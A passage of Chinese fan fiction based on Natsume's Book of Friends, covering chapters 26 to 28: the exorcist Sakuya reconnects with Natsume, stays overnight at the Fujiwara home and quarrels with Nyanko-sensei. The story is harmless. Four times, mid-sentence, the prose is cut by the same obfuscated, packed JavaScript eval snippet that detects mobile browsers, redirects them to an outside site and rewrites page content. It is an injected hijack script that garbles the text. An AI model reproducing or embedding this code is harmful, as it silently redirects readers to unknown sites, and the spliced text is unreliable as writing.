“说起来,你们的爸爸我,在高中时代也很有人气哦!” “哈哈,真的吗?”朔也好奇地问道。 “我和朔也受欢迎,更多还是因为妈妈的关系吧。”铃木翔平看了一眼弟弟,突然说道。 铃木慎吾愣了一下,看向朔也,笑着说道:“是啊,你们兄弟俩还是像妈妈多一些。” 翔平似乎想说些这么,但犹豫之后又沉默了。 餐桌上的气氛突然变得有些微妙。 从很早开始,和母亲有关的话题就成了兄弟俩之间的禁忌,与之相关联的另一件事,则是朔也离家后就再也没有回去过。 追溯其根源,不过是源于小孩子之间的争吵,但真正伤人的话语就是这样,即使过去多年,也依然如利刃一般在昔日的伤口里摩擦。 这其实并非朔也的本意。 而且他觉得,翔平现在主动提及母亲,也不是想指责他什么。 朔也打破沉默,笑着说道:“妈妈要是能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765826|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见到我们现在的样子,一定超级开心!” 另外两个人顿时松了口气,这让朔也觉得有点好笑,他举起手里的果汁,“为永远美丽的妈妈干杯!” 父子三人的杯子碰到一起,铃木慎吾顿时又多愁善感起来,转过头抹了抹眼角。 朔也和翔平对视了一眼,一起露出无奈的笑容。 “朔也,有空的话……回家看看吧。”翔平垂下眼睛,低声说道。 “是啊。”铃木慎吾也趁机劝说道:“你的房间翔平每周都会帮忙打扫,依旧和以前一样。” 朔也若有所思地点点头,“马上就是春假了,正好可以回去住几天。” 翔平的眼睛顿时亮了起来,“定好时间就打电话给我,我去接你!” 晚餐的气氛直到现在才真的欢快起来,朔也看着父亲和兄长一起商量着春假的安排,不禁想到,也许在这种时候,他的愧疚感可以稍微减少一些。 晚餐后,不等铃木慎吾送朔也回的场宅,的场静司的“顺风车”就到了餐厅门口。 铃木慎吾和他客气地寒暄了一番,尽管两人已算熟识,但铃木慎吾一直觉得这位的场家的继任者比他的父亲更难亲近,不过他对朔也甚是关照,大概是和那孩子很投缘吧。 一旁的翔平只是在父亲介绍他时和对方简短地打了招呼,他的视线一直停留在朔也身上,他看得出来,朔也和这个的场家的人关系很好,比和父亲还有他这个哥哥相处起来更自在。 “爸爸,哥哥,那春假再见了。” 朔也挥了挥手,看着家人的身影越来越远。 的场静司看了看他一直望着车窗外的脸,问道:“怎么了?” “哥哥好像不太高兴,明明晚餐的时候还好好的。”朔也疑惑道。 的场静司微微挑眉,没说话。 朔也没有继续这个话题,转而说起春假回家的打算。 的场静司并不感到意外,也无意阻拦,只是感叹道:“看来朔也终于想通了啊。” 挠了挠脸颊,朔也有些不好意思地说道:“之前确实会很担心,一旦回家就会让家人被什么妖怪盯上。” “但现在我会的东西已经很多了,可以给家里设下结界。” 朔也兴奋地睁大眼睛,眼巴巴地看向的场静司,“静司先生,可以让我看看本宅的结界记录吗?” “当然。”的场静司笑了起来,“除妖师也经常会接到设置结界的委托,朔也就当是提前练习吧。” 朔也高兴地点点头,其实比起退治妖怪,他对这类事情更感兴趣。 “毕业的感觉怎么样?” “唔……”朔也想了一会儿才说道:“有种又长大了一些的感觉吧,春假结束就是高中生了!” “是没有烦恼的孩子才会有的体会呢。”的场静司调侃道。 “我这个年纪的学生有太多烦恼才奇怪吧!”朔也不满地反驳道,但紧接着他不知为何突然想到了几个月前遇见的那个少年。 他应该和自己同龄……自己还是太想当然了,“没有烦恼”与其说是一种常态,不如说是幸运更恰当。 “静司先生,还是没有夏目君的消息吗?” “哦呀,七濑前几天刚提起过。”的场静司看了说朔也一眼,“那个孩子的监护权又变更了,只能继续查下去。” 朔也愣了一会儿,低声抱怨道:“为什么啊……” 为什么不打电话给他呢?是觉得他帮不上忙吗?还是觉得怎样都无所谓呢…… 朔也甚至默默生起气来,但又无法责怪夏目,他其实很清楚为什么夏目不寻求自己的帮助,因为他也有过这样的时刻,觉得没有人能帮自己,只有一个人孤独地走下去。 “总会查到的。” 的场静司安抚地摸了摸朔也的头,他忽然很庆幸铃木先生及时地找到了的场家。 不,若是更早一些,再早一些,会更好吧。 26.第二十六章 夏目 * 短短的春假对朔也来说却出奇得高效,他不仅给铃木家设置了完备的结界,和的场静司一起研究的式神也有了眉目。 在这之后,朔也迎来了自己的高中时代。 朔也和飒真很幸运地又分在了一个班,由于是特别升学班的缘故,他们的班级后两年不会再重新分班了。 “真的太好了,这样就能一直同班了!”飒真感动地说道:“话说我们这样可以也可以算是幼驯染了吧?” 朔也噗嗤笑出声,“超龄幼驯染吗哈哈哈!” “喂!”飒真微红着脸,羞恼地说道:“本来很感动的,被你这么一说就只觉得可笑了!” “还好啦,再说现在不多笑笑,难道要等到为升学而头疼的时候再笑吗?” “可恶!不要在高中开学第一天说这么可怕的话啊朔也!” 朔也无辜地耸耸肩,“实话实说嘛。” “你已经有升学目标了吗?”飒真好奇问道。 “啊,算是吧,确定了方向,但考哪个大学还没有确定。”朔也看向飒真,“你呢?会去医学部吗?” 飒真点点头,苦恼地皱着眉,“爸爸想让我去他的母校,但真的好难考,地狱级的难考。” “是哪所大学啊?” 飒真咬牙切齿地说了一个名字,朔也倒吸一口冷气,同情地说道:“请节哀。” 飒真发出痛苦的声音,朔也摸了摸自己受惊的心脏,还好无论是爸爸还是静司先生,都对他考哪所大学没有任何要求和意见,七濑阿姨甚至期待他和静司先生一样,高中毕业就回的场家工作。 * 高一开学后没多久,夏目又转学了,他不知道第多少次地去往了又一个新家。 不过,这一次和以往那些又有不同,塔子阿姨和滋叔叔对他说:“这里是你的家。” 藤原夫妇的温柔吸引着夏目,他们柔软而真挚的接纳,让习惯了另一种相处模式的夏目紧张又无措。 会不会再待久一点,这样的温柔和善意就会被收回? 如果注定要失去的话,还是一开始就得不到更好吧。 就这样警惕着、患得患失地度过了一个个日子,哪怕偶有错漏,哪怕依然时常惹出些麻烦,但一切如常。 温柔没有消失,这个家依然温暖如初,塔子阿姨做的食物越来越合夏目的口味,滋叔叔和他说话也更随意亲切,就连极少数几次责备,也透着一种只有家人之间才有的亲昵和关爱…… 若不是仍时常碰见各种妖怪,夏目几乎要以为自己正生活在梦境里。 而来自外婆夏目玲子的一件遗物,成为打开另一个世界的钥匙,将夏目和妖怪正式连接起来。 这之后所展开的生活,不是夏目曾经设想的任何一种。 他多出来一只胖猫一样的妖怪保镖,逐渐和同学熟识,渐渐有了要好的朋友,更离奇的则是跟随外婆在友人帐中留下的记忆,捡拾起属于妖怪们的故事,甚至因此与附近的妖怪们结下奇怪的缘分。 在这样的生活里,和除妖师名取周一的结识反而显得没那么离奇。 当得知对方是除妖师时,夏目第一时间便想到了铃木朔也,他给自己的御守在帮他抵挡过几次妖怪后就失去了作用,但夏目依然随身携带着。 至于那个迟迟未拨打的电话……老实说,夏目依然不知道该怎么处理,因为太过无措,他便像等待着什么一样,任其停滞了。 时间就这样过去,在暮春的某一天,名取邀请夏目去参加一个咒术师的聚会。 这对夏目来说当然非常新奇,步入高中之后,未来的人生规划逐渐成了需要他认真思考的问题,只是夏目暂时还没想好自己以后要去做什么。 夏目身边可以供他参考的成年人只有滋叔叔和名取先生,找一份普通人的工作过上普通的生活,有着夏目打心底里渴望的安定宁静,但名取先生的话也不无道理。 “你拥有力量,而且有人需要你的帮助,你能坐视不管吗?” 也许,在那个聚会里有许多和他一样的人,或许在这些人中,他可以找到他也能做的事情。 抱着这样的期望,夏目第一次步入了属于术者的世界。 在来聚会之前,夏目也隐约期待着,也许能在这里遇见朔也君——这种几率当然很小,但又不是毫无可能,至少,他在另一个人口中听到了朔也的名字。 那是一位上了年纪的女士,她在听说自己叫“夏目”以后显得非常惊讶,甚至不顾礼节地直接掀开了他用来伪装的符纸。 “夏目?你就是夏目玲子的外孙?” “呃、您认识我外婆吗?” 夏目当然很震惊,他从人类口中听到外婆名字的次数简直屈指可数,更何况这个人竟然是除妖师,外婆难道和除妖师也有联系吗? “抱歉,我和她并不熟识。只是偶尔会听到妖怪们聊起她,据说是一位非常漂亮并拥有强大力量的人。” “这样啊……”夏目有些失望,和妖怪们对外婆的记忆比起来,人类对她的记忆总显得很苍白。 “我曾经很想结识她,可惜没能实现,但如今能见到你,也算是一种缘分吧。” 这位七濑女士对外婆的态度和以往那些人不同,这让夏目有些意外,而她的下一句话更是把夏目吓了一跳。 “夏目,其实我们已经找了你很久了。” “嗯?” “你一直没给朔也打电话,他很担心。”七濑女士笑着说道:“前不久他还问起你的消息,现在能遇见实在太好了。” 夏目睁大眼睛,艰难地消化着接收到的信息,“您、您认识朔也君?” “我可是看着朔也长大的。”七濑女士笑道:“夏目,给那孩子打个电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769046|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,至少告诉他你的近况。” 夏目被新得到的消息冲击了,不过直到和名取先生一起封印了那个可怕的妖怪后,他才有时间静下心来思考。 只是那位七濑女士表现出来的另一面,无论是利用式神做诱饵的恶劣行径,还是利用封魔之壶骗取被封印的妖怪用于驱使,都让夏目十分排斥。 夏目曾以为,只要认识和他一样能够看见妖怪的人,就能分担彼此的痛苦,然而这次的事情告诉他,和他一样的人对他来说才是最危险的。 而他所拥有的关联着很多妖怪性命的友人帐,无论如何也不能让这些人知晓。 夏目低落地想,那位七濑女士与朔也君熟识吧,朔也君,会有着和七濑女士一样的想法吗? “名取先生,你知道铃木朔也吗?” “啊,我认识铃木君。”名取微笑道:“他曾经不止一次帮过我。” “诶!”夏目吃惊地抬起头。 “之前七濑女士和你提起铃木君,我也很惊讶呢,原来夏目和他熟识吗?” “呃,不算熟识。”夏目尴尬地说道:“只是曾得到过他的帮助……” 夏目和名取讲了初三修学旅行时在温泉旅馆发生的事情。 “这完全是铃木君会做的事啊。”名取笑了起来,“他虽然在的场家长大,但和其他的场家的人很不一样。” “的场家?” “铃木君算是的场家的养子,虽然没有正式过继,但从的场家的态度来看,这应该是大家都认同的事实了。” 名取和夏目讲了朔也去的场家的原由,这让夏目回忆起那次相遇时,少年缠满绷带的双手,原来他有过那么可怕的遭遇吗? “因为幼时的遭遇,他很厌恶妖怪,甚至拒绝拥有式神。”名取想起在鹿鸣神宫时,朔也拒绝蓼牙的样子,淡笑着说道:“但他很温柔,像利用妖怪那种事,他是不会做的。” 听着名取描绘出的朔也的样子,夏目的眼睛渐渐地亮了起来。 “啊,对了,关于那个封魔之壶,七濑女士大概不能解开你施加的封印,但如果是铃木君的话,也许能解开。” “哈?”一旁正打着盹儿的猫咪老师突然睁开眼,“夏目这样的小鬼有一个就够了,竟然会有两个!” 名取笑了笑,提议道:“夏目既然有铃木君的电话,那就尽快告知他实情吧,他如果知道封魔之壶里封印的是那样可恶的妖怪,是不会开启封印的。” 夏目微红着脸点点头。 他一直在逃避妖怪,大概也逃避着人类,所以迟迟未打出那个电话。 但或许他应该试着去了解,比如去了解自己的事、玲子外婆的事,还有朔也的,以及术者的事情。 他曾经非常羡慕朔也的强大,现在他已经渐渐意识到了自己拥有的力量,他想变强,因为,他已经有了一定要保护的人们。 27.第二十七章 来客 * 放学的时间一到,学生们就三三俩俩地出了教室。 夏目跟在西村和北本身后,一走出教室就看到好些同学正聚在走廊的窗户旁。 “校门口那个人是谁啊?” “外校生吗?超帅气呢!” “可恶!明明校服和我们的类似,为什么他一副很酷的样子!” “真的好帅啊!是来等女朋友放学吗?” 夏目慢吞吞地看了过去,突然愣住,仔细辨认了一会儿,猛地睁大眼睛。 这、这、这是朔也君吗?! “夏目,走吗?” “啊,抱歉!我突然想起来有急事,我先走了!” “诶?什么事啊,这么慌张。” 夏目急匆匆地跑下楼,但当接近校门口时他又慢了下来。 他盯着不远处那个身影,震惊的同时又想起前一天因为回家太晚而犹豫着没有拨打的电话,莫名生出即将要被兴师问罪的心虚和畏惧。 种种纠结让夏目的步子越迈越慢,但距离依然一点点拉近,最后,正在人群中搜索的视线直直地望了过来。 如果脚下有条缝的话,夏目大概会毫不犹豫地钻下去。 可惜,地面很完整。 夏目迎着对方的目光,一时尴尬地甚至不知道如何开口。 “呃……” “夏目君,好久不见。” 少年微笑着打着招呼,异色的双瞳让他有种介于人类和妖怪之间的气质,正是这种气质给夏目留下了极为深刻的印象。 “好久不见,朔也君。”对方自然而亲切的态度消除了夏目之前的紧张,他不知为何有种彻底松了口气的感觉。 “夏目君现在有时间吗?”朔也打量了夏目几眼,说道:“抱歉,没打招呼就过来了,希望不会让你太困扰。” 夏目微微红了脸,“没有!是我的问题,我应该给你打电话的……” 朔也开朗地笑了起来,“我们要一直在这里寒暄吗?不如请夏目君带我在这附近逛一逛吧。” 夏目赶紧点了点头,带朔也离开了学校。 * “说起来,我们还没有做过正式的自我介绍呢。”朔也笑道:“我叫铃木朔也,高一在读,是的场家的除妖师。” 提及这个夏目又有些尴尬起来,上次见面时他很防备,只告诉了对方姓氏。 “呃,我叫夏目贵志,也是高一。”夏目停顿了一下,继续说道:“朔也君,那次在温泉旅馆,真的很感谢你,你给我的御守也帮了我很多次……” “既然要感谢我的话,就请我喝点什么吧。” 朔也在自动贩卖机前停下,点了点里面的饮料,弯起嘴角,“就当是那个符咒的报酬,怎么样?是不是超划算?” 夏目愣了一下,而后笑着点头,“嗯!” 朔也站在路边,喝了几口饮料,随意地问道:“现在怎么样?在这边还适应吗?” 他过于自然的态度让夏目感觉两人之间的陌生和隔阂仿佛瞬间被消除了,夏目转头看向他,“呃,你知道……” “你的经历吗?我知道一些。”朔也坦率地说道:“温泉旅馆那次,我觉得你状态不太好,很担心,但因为忘记要你的联系方式,你又没有主动联系我,所以拜托七濑阿姨调查过你。” “抱歉,没经过你的允许就擅自这么做了。”朔也看着夏目,“你生气的话,我可以理解。” 难怪昨天那位七濑女士会那么说,夏目默默想到,如果是别人的话,他确实会生气,但不知道为什么,当朔也这么坦然地说出来的时候,他反而生不出气来。 “我没有生气……” “啊,那就太好了!”朔也松了口气。 他仔细打量了夏目一会儿,感叹道:“感觉你比之前好多了,虽然还是瘦巴巴的,但很精神呢,现在照顾你的人应该很不错吧?” 夏目觉得朔也说话有种超出常人的直接,两人第一次遇见时他就察觉到了,而现在则感受得更加明显。 这种直接虽然让对话的人有种被带着走的感觉,却并不显得冒犯,大概是因为朔也的真诚也如言语一般,让人一目了然。 夏目微微笑了笑,“嗯,我现在很好。” 想到藤原夫妇,夏目的神情很温柔,“塔子阿姨和滋叔叔是很温柔善良的人。” 一直观察着夏目神色的朔也忍不住跟着微笑起来,“那我就放心了。” 朔也将最后一点饮料喝完,然后抬手精准地投进附近的垃圾箱,从手掌往上缠绕的绷带吸引了夏目的注意。 “呃,朔也君,你呢?一切都好吗?” “叫我朔也吧,我一直都很好哦。”朔也看了看自己的手,“如果你是问这个的话,其实这是很早之前留下的疤痕,因为太难看了,所以才用绷带遮住。” 夏目盯着绷带没有覆盖的那部分手指,上面依稀能看见一些痕迹,他不禁追问道:“这些疤痕,是发生了什么……” “啊,我太鲁莽导致的。”朔也不在意地笑道:“十岁的时候我被一只妖怪缠住了,于是很莽撞地封印了它,结果也弄得自己一身伤,现在想起来,只觉得很不划算。” “十岁……” 夏目惊讶地看着朔也,那个年纪的自己也时常被妖怪纠缠,但他只能一味地逃跑…… 朔也看出夏目在想什么,于是解释道:“我家里的祖先是除妖师,留下了不少笔记,我很容易招惹妖怪,只好自学了一些。” “你和名取先生熟识吧?其实我和名取先生儿时的经历有点相似,不过因为我家彻底没落了,就去了能庇护我的的场家。” 朔也说起这些事情非常随意和坦然,好像在过去这些事中产生的痛苦都不值一提,这种心态让夏目有些羡慕。 “所以,夏目,你原本打算什么打电话给我啊?”朔也冷不丁问道。 猝不及防地提问让夏目瞬间紧张起来,“呃,抱歉,我应该昨晚就打给你的……” “不用道歉哦,夏目。”朔也看着他,叹了口气,说道:“我大概能理解你的想法,毕竟之前的我对你来说完全是陌生人,但我们现在多少可以算是朋友了吧?” “诶?”夏目愣了一下,然后在朔也期待的眼神里点了点头,肯定道:“是、是啊!” 朔也开心地笑了,“既然是朋友,给我打电话就完全没问题了吧,夏目得记得哦!” 夏目迷迷糊糊地又点了点头。 “封魔之壶的事,名取先生已经告诉我了。”朔也解释道:“我去看了那个封印,你的力量很强,要解封非常麻烦,七濑阿姨应该很快就会放弃的。” 夏目迟疑问道:“呃,你不打算帮忙吗……” 朔也顿时笑起来,“像那样作恶的妖怪,如果不是你封印了它,我会努力将它祓除的。它除了危害人类,并没有什么利用价值,七濑阿姨只是被它所拥有的力量诱惑了。” 夏目看着朔也,一时不知道该说什么。 “而且我也没有十足的把握能打开你结下的封印。”朔也平静地说道。 “诶?”夏目很惊讶,尤其是朔也一直给他一种和年龄不相符的非常强大的感觉。 “这么惊讶干嘛?”朔也有些疑惑,“难道直到现在,你对自己拥有的力量依然没什么感知吗?”明明已经和名取先生合作过了。 “唔,有的……”夏目慢半拍地应了一句。 就算之前没有,在和名取先生封印过那个妖怪后,也肯定能够察觉。 只是夏目对这种感觉非常生疏,甚至觉得不太真实,也许是过去无能为力的事情太多,让他潜意识里觉得自己依然很弱小,以至于就算情况已经改变了,他也习惯性地忽略自己拥有力量的事实。 “有这样的力量,你以后有什么打算吗?”朔也问道:“名取先生似乎很希望你能做他的助手?” “呃,我……”夏目斟酌着,想了想说道:“我还不确定自己未来能做些什么,但我……想变强,因为我有很多想守护的人。” 有想守护的人,也意味着,再也不是孤单一人了。 朔也笑得眯起眼睛。 “真好啊,夏目。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777024|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏目微微红了脸,他突然意识到,自己正在和一个与自己一样的同龄人畅所欲言地聊天。 他们没什么顾忌地分享自己的经历,随心所欲地提及和妖怪有关的事情,那些在夏目的日常生活中难以谈论的话题,在这里都变得十分普通且正常。 悠长的下午就在两人的闲逛中渐渐流失,当夕阳西下,两个少年并肩站在路边,一边笑着一边看向远处的山脉和晚霞,看上去和其他高中生没有什么区别。 “啊,现在坐电车回去应该会很晚了,夏目,你家可以收留我一晚吗?” 朔也看了看时间,不等夏目回答,就自作主张地将手机递给了他,“不如打电话问问叔叔阿姨,看是否方便我留宿?” 夏目虽然有点懵,但果然还是乖乖照做起来。 朔也看着夏目到一边打电话,悄悄松了口气,他其实是故意这么做的,但着实有点冒犯,还好夏目的脾气很好,或者说,好得过头了,让他有种正在欺负乖孩子的愧疚…… 虽然不知道电话那头的人说了什么,但仅是看夏目的表情,朔也就知道自己的蹭住打算没有落空。 果然没过一会儿夏目就微笑着走了过来,“塔子阿姨说没问题,还让我们早点回去呢。” 朔也彻底放下心,顺手把夏目新家的电话存进了通讯目录。 于是两人走上了回家的路。 夏目现在住的这个镇子不大,但看上去很漂亮,当然,山多树也多,这就意味着…… “夏目,这附近应该有不少妖怪吧?” “啊,是的。” 夏目挠了挠脸颊,不敢说这里几乎每条路都曾留下过他被妖怪追得鸡飞狗跳的身影。 “它们有骚扰你吗?”朔也的视线四处逡巡着,整个人隐隐散发出危险的气息。 看不见地汗滴从夏目的脸上划过,他尴尬地笑道:“还好哈哈,其实我有个……” 夏目的话还没说完,远处就有一个圆滚滚的东西快速冲了过来。 “夏~目~” “会说话的猪?”朔也皱眉,掏出符咒叮嘱道:“夏目小心,是妖怪!” 他动作敏捷地一把将夏目拉到自己身后,将符咒冲那个妖怪的大脑袋狠狠拍了过去。 “啊!痛~~~” “猫咪老师!你没事吧?!” 朔也看着夏目凑近那个晕在地上的妖怪,正准备提醒他小心,就见夏目哭笑不得地看了过来。 “朔也,这是猫咪老师,它不会伤害我的!” 朔也怀疑地看了看地上的小煤气罐,“这家伙竟然是猫?”谁家的好猫长这样啊? “夏目,这个小鬼是谁!竟敢小瞧我,快放开,我要教训教训他!” 朔也双手环胸站在一旁,看着夏目帮那只妖怪揭下符咒,冷淡地说道:“丑猫,闭嘴,你好吵。” “竟然说我丑!没眼光的家伙!夏目快放开我,让我吃了他!” 朔也冷笑一声,“就凭你?封印都还没完全解开的家伙,就别说大话了。” “啊啊啊!气死我了!今天就拿你这小鬼当我的下酒菜吧,可恶!” “猫咪老师!” 在夏目的铁拳镇压下,两人一妖终于保持勉强的和平到了藤原家。 “啊,这就是贵志君的朋友吧,快进来吧!” “塔子阿姨,我是铃木朔也,您叫我朔也就好,贸然来访,给您添麻烦了!” 朔也一改之前和猫咪老师针锋相对、相看两厌的样子,礼数周全却又开朗亲和的姿态几乎瞬间就得到了塔子阿姨的喜爱。 “朔也君太客气了。”塔子阿姨笑得眯起眼睛,“这是贵志君第一次邀请朋友来家里做客呢,其实我们已经期盼很久了,你能来实在太好了!” 朔也微微睁大眼睛,露出温柔的微笑,“您真是一位温柔美丽的夫人,像我妈妈一样。” 塔子阿姨捂住脸,笑得开心极了。 夏目和猫咪老师在一旁看得目瞪口呆。 夏目呆呆地想,朔也真的好厉害,从某种方面来说,比名取先生更厉害呢。 28.第二十八章 留宿 * 朔也很高兴。 夏目现在待在一个很温馨和睦的家里。 家中的两位长辈是那种紧靠一面之缘就可以断定是好人的人,他们对夏目的关爱不是表演出来的,而是如空气一般充斥在这座漂亮的宅子里。 仅仅是和他们一起坐在餐桌边,朔也就觉得自己能看到后续的故事。 曾经警惕地防备着他人的夏目会在这个家里被温柔地治愈,被爱的感受会让他学会如何接纳别人,而不是将他人的善意当做一种亟需回报的交换。 朔也转头,看着夏目在和长辈说话的时候露出羞涩的微笑,这样可爱的一幕甚至能让他短暂地忽略正在桌子底下冲塔子阿姨骗吃骗喝的丑猫妖怪。 晚餐后,夏目想帮着塔子阿姨收拾厨房,却被两位长辈催促着带着朔也上了楼,用他们的话说,接下来是属于男孩子的时间。 朔也在夏目有点局促的目光里走进少年的房间,笑道:“是和室呀,和我的房间一样呢。” “夏目,快把这小鬼赶去客房!我的房间不欢迎讨厌的小鬼!”猫咪老师大声叫嚣着。 夏目气道:“猫咪老师,这是我的房间!” 朔也瞪了丑猫一眼,冲夏目笑道:“夏目,把这个胖猪赶出去吧,有妖怪在我会睡不着觉的。” “臭小鬼!谁是胖猪!”猫咪老师愤怒地嚷嚷着,“夏目,你听见了吧,他骂我是猪!还不快帮本大爷狠狠揍这个家伙!” “身为式神竟然敢命令主人,还威胁主人的朋友。”朔也撸起袖子,认真说道:“看来不惩罚你不行了!” 夏目看着一人一猫像两个小孩子吵来吵去,表情逐渐变得无奈。 “呃,朔也,猫咪老师不是我的式神。” “还有猫咪老师,你安静一点啊!” 朔也愣了一下,“它不是你的式神?” 他之前看到朔也和这个妖怪很亲近,还以为是式神来着,虽然有点意外但没觉得多奇怪,但如果不是式神的话,那就真的很怪异了。 朔也的寒毛一下子竖了起来,冲夏目认真说道:“不是式神的话,就更不应该把这种妖怪留在身边了,会非常危险!” 刚才还吵吵嚷嚷的猫咪老师听到朔也这样说,反而安静下来,静静地看着夏目。 朔也担心夏目不理解,补充道:“你不要被它胖猫的样子骗了,它的真身应该是力量强大的大妖,现在用这种伪装留在你身边,可能是为了吃掉你,用你的力量破开最后的封印。” “呃,不会的。”看着朔也皱起眉头,夏目赶紧解释道:“它和我的外婆熟识,呃,它想要我外婆的,呃,一件遗物,所以我和它做了约定,让它保护我,我死之后就把那件遗物给它……” 朔也仍旧皱着眉,思忖道:“那它直接杀了你不就行了吗?” “喂,小鬼!不要小看大妖的誓言,本大爷才不是那种会违背约定的杂碎。”猫咪老师盯着朔也,倨傲地说道。 朔也挑眉,冷哼一声,“看来你知道的挺多嘛,希望你好好遵守你的约定,不然我一定会替夏目彻底祓除你。” “嘁~” 虽然一人一妖的对话里依然夹枪带棍,但确实比刚才平和了不少。 夏目松了口气,谢天谢地,他的耳朵终于清净了。 朔也不再理睬丑猫,自顾自地打量了一圈夏目的房间,问道:“夏目,需要我帮你设置结界吗?之前的结界……” 夏目不好意思地笑了笑,“啊,结界是猫咪老师设的。” 朔也顿时嘲讽地笑起来,“难怪这么烂,最多只能阻拦一些你一拳就可以打死的家伙,毫无意义。” 猫咪老师的头上蹦出一个硕大的井字,刚要跳起来开骂就被夏目摁在怀里狠狠捂住了嘴。 “朔也,你会设置结界?”夏目好奇地问道,“这个会很难吗?” “如果是别人的话,不好说,但如果是夏目你,应该很快就能学会。”朔也笑道:“你感兴趣吗?我可以教你哦,前不久我刚给我家的房子设置完结界,静司先生还去检查过,说很不错呢!” “静司先生?” “啊,静司先生是我在的场家的监护人,现在是的场一门的首领,是非常厉害的除妖师!” 夏目想起来,在昨天聚会的时候名取先生提及过,说是力量强大的人。从朔也的表情里夏目能看出来,他和那位首领很亲近。 “所以要学吗?”朔也期待地说道:“夏目不是想变强么?这些都是必须得学的哦。” 夏目有些心动,他小心地问道:“呃,这会不会太麻烦你了?” “怎么会?”朔也笑着摆摆手,“如果有像你这样的学生,不知道多少除妖师争抢着要教呢!” 夏目红着脸点点头,“那就麻烦你了!” 朔也得意地笑起来,他也是有天才徒弟的除妖师了嘿嘿。 “贵志君,朔也君,可以洗澡了哦!” 塔子阿姨的声音从门外传来,两个少年赶紧应了一声,两人商量了一下,决定让朔也先去。 * 朔也洗漱完,穿着自己因为预谋留宿而特意带着的换洗衣服,惬意地走进夏目的房间。 夏目正坐在矮桌前,对着作业苦思冥想,丑猫保镖在旁边的坐垫上睡得四仰八叉。 朔也好奇地凑近看了看,忍不住提醒夏目,“这题选A。” 夏目被吓了一跳,而后又慌张地确定道:“啊?不是选C吗?” 朔也站直身体,边擦头发边指点,“用上一题的公式直接套用就好。” 夏目重新算了一遍,这次果然是A,他挫败地叹了口气。 “别叹气啊。”朔也笑道:“以你的天赋,等你开始学习术法,就会体会到当学霸的快乐了。” 他没说的是,夏目其实很聪明,如果不是因为之前一直被妖怪困扰,又辗转着无法安定,他的学业应该会比现在好得多。 幸好,一切都还来得及。 夏目被朔也描绘的场景逗得笑出来,收拾好作业,也去洗漱了。 他本来想带着猫咪老师一起去,却被猫咪老师拒绝了。 现在整个房间里,只剩下朔也和猫咪老师面面相觑。 在和丑猫互不相让的对视里,朔也继续擦着头发,气氛稳定地微妙着。 就在这时,窗户突然被轻轻敲了敲,窗外传来做贼一般细细的嗓音。 “夏目大人在吗?” 这里可是二楼,现在可是晚上,想想也知道绝不会有大活人会在这个时间出现在夏目房间的窗外。 朔也眯起眼睛,看向对面的妖怪,那只丑猫却静静地蹲着,摆出一副无事发生的无辜表情。 窗户又被敲了敲,那个声音继续说道:“夏目大人在吗?我来取回我的名字。” 朔也站起身,在自己的包里翻出一张符咒,走到窗前,一把拉开窗户,然后把符咒干脆利落地贴在了窗外。 他面无表情,看着窗户下鬼鬼祟祟的阴影,冷冰冰地威胁道:“不管你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785934|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么妖怪,都立刻远离这里,再敢来,我就把你们全祓除了!” “啊!是除妖师!太可怕了!” 那个阴影被吓得尖叫着顺着阴影溜走了。 朔也又查看了一圈四周,才关上窗户。 他转过身,冲着丑猫挑起眉,“你就是这么当保镖的?” 猫咪老师冲他冷哼了一声,突然说道:“你的身上有蓼牙的味道。” 朔也有些意外,“你认识蓼牙?” 猫咪老师静静地看着他,“你把那家伙封印了?” 朔也点点头,“嗯,封印了。” 猫咪老师眯起眼睛。 “封印了一天,然后又放了。”朔也不在意地说道:“它给了我一颗牙齿。” 猫咪老师瞪大眼睛,而后又恢复了平静,“它竟然愿意给你那个东西。” “我不懂你们妖怪的想法。”朔也平淡地说道:“因为是山猫的牙齿,觉得比较有趣,才留下了。” 猫咪老师不吭声了。 反而是刚洗漱完走进房间的夏目一脸好奇,“山猫的牙齿?” “啊,夏目想看吗?”朔也在包里翻了翻,拿出来递给他。 